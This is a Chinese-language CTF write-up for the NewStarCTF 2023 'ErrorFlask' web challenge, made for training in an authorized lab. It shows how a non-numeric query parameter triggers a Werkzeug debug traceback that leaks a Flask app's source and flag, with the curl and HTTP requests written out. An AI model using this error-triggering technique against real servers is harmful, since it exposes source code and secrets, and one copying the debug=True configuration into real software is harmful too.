NewStarCTF 2023 - Web - ErrorFlask

题目信息

项 内容
比赛 NewStarCTF 2023 公开赛道
方向 Web
难度 Easy
环境 授权靶场(已脱敏)
服务器 Python 3.8 + Flask(Werkzeug debug) + openresty

信息收集

访问根路径 /,返回 give me number1 and number2,i will help you to add,说明需要传 number1、number2 两个参数做加法运算。

正常传参 /?number1=1&number2=2 返回 not ssti,flag in source code~3:3 是 1+2 的结果;not ssti 排除 Jinja2 模板注入方向;flag in source code 明确指出 flag 在源码里。

1
2
3
4
5
6
GET /?number1=1&number2=2 HTTP/1.1
Host: target:8080

HTTP/1.1 200 OK

not ssti,flag in source code~3

漏洞分析

  • Flask debug=True 模式下的 Werkzeug 调试器信息泄露
  • Traceback 源码泄露

攻击链总览(源 wp 原链转写):

1
2
3
4
5
# 访问首页 → 提示需要 number1、number2 参数做加法
# → 传非数字参数(number1=a)触发 int() ValueError
# → Flask debug 模式的 Werkzeug 调试器弹出完整 traceback
# → traceback 泄露 /app/app.py 源码
# → 源码首行 flag = "..."

应用以 app.run(..., debug=True) 运行,后端对参数执行 int(num1)。传入非数字字符串会抛 ValueError: invalid literal for int() with base 10: 'a',异常被调试器捕获并回显源码帧。

利用过程

1. 触发报错泄露源码

传非数字参数 /?number1=a&number2=b,后端 int('a') 抛出 ValueError,Werkzeug 调试器返回完整 traceback,其中 /app/app.py 源码被完整展示:

1
2
3
4
5
6
7
8
9
flag = "flag{xxxx}"
num1 = request.args.get("number1");
num2 = request.args.get("number2");
if not num1:
return "give me number1 and number2,i will help you to add"
return "not ssti,flag in source code~"+str(int(num1)+int(num2))

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

源码首行的 flag 真实值已按要求脱敏为 flag{xxxx}。

2. 拿到 flag

源码第一行即为 flag:flag{xxxx}(已脱敏)。

完整 EXP

1
2
curl "http://target:8080/?number1=a&number2=b"
# 在返回的 traceback 中查找 "flag = ",或直接查看响应里的 /app/app.py 源码帧
1
2
GET /?number1=a&number2=b HTTP/1.1
Host: target:8080

Flag

flag{xxxx}(真实值已脱敏)。原题采用 NewStarCTF 2023 的 flag 格式,并非平台统一的另一种格式,提交时按题目实际格式填写。

踩坑与总结

  1. 题目名 ErrorFlask + 描述 Err... 是解题提示:核心是「制造报错(Error)」→ 利用 Flask 的 debug 模式泄露源码。
  2. not ssti 是干扰/纠偏:明确告诉你不是 SSTI,不要往 Jinja2 模板注入方向走。
  3. 触发点:int(num1) 对非数字字符串抛 ValueError,而 debug=True 使异常被 Werkzeug 调试器捕获并回显源码。
  4. 生产环境切勿开启 debug:本题是典型的配置失误导致源码泄露,实战中 Werkzeug 调试器还可能被用作交互式代码执行入口。

仅记录授权靶场环境下的研究;复现命令与源码帧均来自本地 WP 归档。